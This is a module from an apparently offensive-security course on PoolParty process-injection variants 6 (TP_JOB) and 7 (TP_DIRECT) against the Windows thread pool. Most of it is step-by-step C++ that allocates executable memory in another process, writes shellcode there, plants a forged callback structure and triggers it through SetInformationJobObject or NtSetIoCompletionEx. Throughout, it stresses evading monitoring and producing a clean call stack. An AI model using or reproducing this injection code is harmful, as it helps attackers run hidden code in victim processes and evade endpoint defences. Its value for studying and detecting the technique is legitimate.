Module 6: Job & Direct Variants
PoolParty Variants 6–7: TP_JOB insertion for job notification callback triggering and TP_DIRECT fast-path insertion via NtSetIoCompletionEx.
Module Objective
Understand how PoolParty Variant 6 exploits Windows Job Objects bound to the thread pool by inserting a TP_JOB item that triggers a callback when a job notification arrives, and how Variant 7 uses the TP_DIRECT fast-path mechanism to achieve the most streamlined code execution via NtSetIoCompletionEx.
1. Job Objects and the Thread Pool
Windows Job Objects are kernel objects used to manage groups of processes. A job object can be associated with the thread pool so that job notifications (such as process creation, process exit, or resource limit violations within the job) are dispatched as callbacks on worker threads.
| Component | Description |
|---|---|
| Job Object | Kernel object that groups processes for management and resource control |
| TP_JOB | Thread pool structure binding a job object to a callback |
| Job Notifications | Events like process creation/exit within the job that trigger callbacks |
| IOCP Binding | Job notifications are delivered via the pool’s IOCP, same as all other callback types |
1.1 How Job Objects Bind to the Thread Pool
When a process associates a job object with its thread pool, the job object is linked to the pool’s IOCP via SetInformationJobObject with the JobObjectAssociateCompletionPortInformation class. Job events then post completion packets to the IOCP, and the worker threads dispatch the TP_JOB callback.
C++ (Internal Mechanism)// Job object association with thread pool IOCP
typedef struct _JOBOBJECT_ASSOCIATE_COMPLETION_PORT {
PVOID CompletionKey; // Encodes the TP_JOB pointer
HANDLE CompletionPort; // The pool's IOCP
} JOBOBJECT_ASSOCIATE_COMPLETION_PORT;
// When a job notification occurs (process exit, limit violation, etc.),
// the kernel posts a completion packet to the IOCP:
// CompletionKey = TP_JOB pointer
// The worker thread dispatches the TP_JOB callback
2. Variant 6: TP_JOB Insertion
Variant 6 inserts a crafted TP_JOB structure into the target process, associating it with a job object whose notifications will be delivered to the pool’s IOCP. When a job notification fires, the callback — now pointing to shellcode — executes on a worker thread.
Variant 6 Attack Flow
+ craft TP_JOB
with pool IOCP
Job event fires
Shellcode runs
2.1 Implementation
C++// Variant 6: TP_JOB Insertion
// Step 1: Allocate and write shellcode in target
LPVOID remoteShellcode = VirtualAllocEx(hProcess, NULL,
shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remoteShellcode, shellcode,
shellcodeSize, NULL);
// Step 2: Craft a TP_JOB structure in the target process
// The callback points to our shellcode
TP_JOB fakeJob = { 0 };
fakeJob.Task.WorkCallback = (PTP_WORK_CALLBACK)remoteShellcode;
fakeJob.Task.Context = NULL;
fakeJob.Pool = (PTP_POOL)targetPoolPtr;
LPVOID remoteJob = VirtualAllocEx(hProcess, NULL,
sizeof(TP_JOB), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, remoteJob, &fakeJob,
sizeof(TP_JOB), NULL);
// Step 3: Associate the job object with the target's IOCP
// using the TP_JOB pointer as the CompletionKey
JOBOBJECT_ASSOCIATE_COMPLETION_PORT jobAssoc;
jobAssoc.CompletionKey = (PVOID)remoteJob;
jobAssoc.CompletionPort = targetIocpHandle;
SetInformationJobObject(hJob,
JobObjectAssociateCompletionPortInformation,
&jobAssoc, sizeof(jobAssoc));
// Step 4: Trigger a job notification
// Assigning a process to the job or causing a job event
// will post a completion packet to the IOCP
AssignProcessToJobObject(hJob, hTargetProcess);
// The job notification causes the kernel to post a
// completion packet to the pool's IOCP with our TP_JOB
// as the CompletionKey, triggering our shellcode callback
Variant 6 Requirements
Variant 6 requires the ability to create or access a job object and associate it with the target process’s IOCP. Not all processes are already part of a job, but the attacker can create a new job object and associate it with the pool’s IOCP using a duplicated handle, then trigger a notification event.
3. What Is TP_DIRECT?
In addition to the standard callback types (TP_WORK, TP_WAIT, TP_IO, TP_ALPC, TP_JOB), the Windows thread pool has an internal fast-path mechanism called TP_DIRECT. Unlike the other types, TP_DIRECT items bypass the standard task queue and are dispatched directly from the I/O completion packet.
Why TP_DIRECT Matters
TP_DIRECT is the simplest possible callback structure in the thread pool. It requires only a callback function pointer and is dispatched immediately when the corresponding IOCP packet arrives. There is no queue manipulation, no list insertion, no timer management — just a function pointer that gets called. This makes it the ideal injection target.
3.1 TP_DIRECT Structure
C++ (Reconstructed)// TP_DIRECT - minimal callback structure
struct TP_DIRECT {
PTP_SIMPLE_CALLBACK Callback; // Function pointer to execute
// Embedded in the completion packet's overlapped field
// No pool linkage, no queue, no complex metadata
};
// The callback signature for TP_DIRECT:
typedef VOID (CALLBACK *PTP_SIMPLE_CALLBACK)(
PTP_CALLBACK_INSTANCE Instance,
PVOID Context
);
3.2 TP_DIRECT Dispatch in TppWorkerThread
C++ (Pseudocode)// Inside TppWorkerThread main loop (simplified)
VOID TppWorkerThread(PTP_POOL Pool)
{
while (TRUE)
{
ULONG_PTR completionKey;
PVOID overlapped;
IO_STATUS_BLOCK iosb;
NtRemoveIoCompletion(Pool->CompletionPort,
&completionKey, &overlapped, &iosb, NULL);
// Check if this is a TP_DIRECT item
if (IsDirectItem(completionKey, overlapped))
{
// Fast path: call the TP_DIRECT callback directly
PTP_DIRECT direct = (PTP_DIRECT)overlapped;
TppDirectpExecuteCallback(direct);
}
else
{
// Standard path: decode and dispatch through task queue
TppWorkpExecuteCallback(...);
}
}
}
4. Variant 7: TP_DIRECT Insertion
Variant 7 is one of the most streamlined PoolParty variants. The attack flow is minimal:
Variant 7 Attack Flow
VirtualAllocEx
Callback = shellcode
NtSetIoCompletionEx
Direct dispatch
4.1 Full Implementation
C++// Variant 7: TP_DIRECT Insertion - Complete Implementation
// Step 1: Open target process
HANDLE hProcess = OpenProcess(
PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION |
PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION,
FALSE, targetPid);
// Step 2: Locate the target's thread pool IOCP
HANDLE targetIocp = FindThreadPoolIocp(hProcess, targetPid);
// Step 3: Allocate and write shellcode in target
LPVOID remoteShellcode = VirtualAllocEx(hProcess, NULL,
shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remoteShellcode, shellcode,
shellcodeSize, NULL);
// Step 4: Craft a TP_DIRECT structure in target memory
TP_DIRECT directItem = { 0 };
directItem.Callback = (PTP_SIMPLE_CALLBACK)remoteShellcode;
LPVOID remoteDirect = VirtualAllocEx(hProcess, NULL,
sizeof(TP_DIRECT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, remoteDirect, &directItem,
sizeof(TP_DIRECT), NULL);
// Step 5: Duplicate the IOCP handle
HANDLE localIocp;
DuplicateHandle(hProcess, targetIocp,
GetCurrentProcess(), &localIocp,
0, FALSE, DUPLICATE_SAME_ACCESS);
// Step 6: Post the TP_DIRECT to the IOCP
NtSetIoCompletionEx(
localIocp, // Target's IOCP (duplicated)
localIocp, // Reservation port (same IOCP)
(PVOID)remoteDirect, // ApcContext = TP_DIRECT in target
STATUS_SUCCESS,
0,
FALSE
);
// Worker thread wakes, identifies TP_DIRECT marker,
// calls directItem.Callback = our shellcode
// Clean call stack through TppDirectpExecuteCallback
4.2 NtSetIoCompletionEx vs NtSetIoCompletion
| Feature | NtSetIoCompletion | NtSetIoCompletionEx |
|---|---|---|
| Basic posting | Yes | Yes |
| Reservation support | No | Yes — guarantees packet delivery |
| Used by | General IOCP posting | Thread pool internal TP_DIRECT path |
| Monitoring | Rarely monitored | Even more rarely monitored |
Why Variant 7 Is Particularly Elegant
- No queue manipulation — unlike Variants 2–3, no linked list modifications in target memory
- No thread creation — unlike Variant 1, no new threads spawned
- No IPC connection — unlike Variant 5 (ALPC), no IPC channel needed
- Simplest structure — TP_DIRECT is just a function pointer, not a complex multi-field structure
- Direct dispatch — bypasses the standard task queue entirely, taking the fastest code path
- Self-contained — only needs the IOCP handle and a shellcode allocation
5. Comparison: Variants 6 and 7
| Property | Variant 6 (TP_JOB) | Variant 7 (TP_DIRECT) |
|---|---|---|
| Trigger | Job notification event | Post IOCP completion packet |
| Key API | SetInformationJobObject | NtSetIoCompletionEx |
| Prerequisite | Job object + IOCP handle | IOCP handle only |
| Structure complexity | TP_JOB with job association | Minimal — single function pointer |
| Applicability | Any process with a thread pool | Any process with a thread pool |
| Dispatch path | Job notification → IOCP → worker | Direct IOCP fast-path → worker |
| Stealth | Job notifications are legitimate OS operations | NtSetIoCompletionEx is rarely monitored |
6. Call Stack Analysis
When Variant 7’s shellcode executes, the call stack traces back through the legitimate TP_DIRECT dispatch path:
Call Stackshellcode+0x0 ; Our injected code
ntdll!TppDirectpExecuteCallback+0x50 ; TP_DIRECT dispatch
ntdll!TppWorkerThread+0x3a2 ; Worker main loop
kernel32!BaseThreadInitThunk+0x14 ; Thread start
ntdll!RtlUserThreadStart+0x21 ; Thread entry
Every frame in this stack is a legitimate system function. There is no CreateRemoteThread, no QueueUserAPC, no SetThreadContext — just standard thread pool infrastructure executing what it believes is a normal TP_DIRECT callback.
Knowledge Check
Q1: What mechanism does Variant 6 (TP_JOB) use to trigger callback execution?
Q2: What makes TP_DIRECT different from TP_WORK, TP_TIMER, and other thread pool types?
Q3: What is the role of NtSetIoCompletionEx in Variant 7?